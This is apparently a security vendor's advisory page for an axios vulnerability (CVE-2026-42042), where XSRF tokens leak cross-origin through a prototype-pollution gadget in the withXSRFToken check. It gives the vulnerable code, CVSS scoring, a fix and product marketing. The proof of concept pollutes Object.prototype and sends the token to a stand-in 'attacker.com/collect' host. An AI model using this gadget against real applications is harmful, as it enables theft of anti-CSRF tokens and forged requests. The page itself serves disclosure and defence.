How severe is GHSA-xx6v-rp6x-q39c?

GHSA-xx6v-rp6x-q39c has a CVSS score of 5.4/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-xx6v-rp6x-q39c?

GHSA-xx6v-rp6x-q39c affects the following packages: axios (npm), axios (npm). Ecosystems affected: npm.

How do I fix GHSA-xx6v-rp6x-q39c?

Update axios to 1.15.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xx6v-rp6x-q39c is resolved across your whole dependency graph.

How do I detect GHSA-xx6v-rp6x-q39c in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for axios. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-xx6v-rp6x-q39c if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-xx6v-rp6x-q39c?

O3 pinpoints whether GHSA-xx6v-rp6x-q39c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-xx6v-rp6x-q39c actively exploited in the wild?

No public exploit code has been indexed for GHSA-xx6v-rp6x-q39c yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-xx6v-rp6x-q39c published, and has it been updated?

GHSA-xx6v-rp6x-q39c was published on May 5, 2026 and was last updated on May 6, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦

📦 npm

Not in CISA KEV

MEDIUM severity

GHSA-xx6v-rp6x-q39c

MEDIUM

GHSA-xx6v-rp6x-q39c is a medium-severity (CVSS 5.4) vulnerability in axios. O3 Security confirms whether GHSA-xx6v-rp6x-q39c is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Also known asCVE-2026-42042

Published

May 5, 2026

Updated

May 6, 2026

Affected

2 pkgs

Patched

2 / 2

Exploits

None indexed

Exploitation data as of May 6, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.

axiosnpm

117.9Mdownloads / week

Description

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	PP triggered remotely via vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	Required	Victim must use browser with axios making cross-origin requests
Scope	Unchanged	Token leakage within browser context
Confidentiality	Low	XSRF token leaked — anti-CSRF token, not session token
Integrity	Low	Stolen XSRF token enables CSRF attacks (bypass CSRF protection only)
Availability	None	No availability impact

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
//  ^^^^^^^^^^^^^^^^
//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
//  isURLSameOrigin() is NEVER called → token sent to ANY origin
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Designed behavior:

true → always send token (explicit cross-origin opt-in)
false → never send token
undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []):

All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value        Sends Token Cross-Origin  Expected
true (boolean)             YES                       Yes (opt-in)
false (boolean)            No                        No
undefined (default)        No                        No
1 (number)                 YES ← BUG                No
"false" (string)           YES ← BUG                No
{} (object)                YES ← BUG                No
[] (array)                 YES ← BUG                No

Prototype pollution:
  Object.prototype.withXSRFToken = 1
  config.withXSRFToken = 1 → leaks=true
  isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations:

Browser-only (XSRF logic runs only in hasStandardBrowserEnv)
XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
  (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) {
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: corrected CVSS, documented limitations
TBD	Report submitted to vendor via GitHub Security Advisory

Affected Packages

2 total 2 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`axios`	≥ 1.0.0&&< 1.15.1	1.15.1
📦npm	`axios`	all versions	0.31.1

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for axios. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update axios to 1.15.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xx6v-rp6x-q39c is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xx6v-rp6x-q39c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xx6v-rp6x-q39c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion ## Summary The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker. **Sever

O3 Security · Impact-Aware SCA

Is GHSA-xx6v-rp6x-q39c in your dependencies?

O3 detects GHSA-xx6v-rp6x-q39c across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works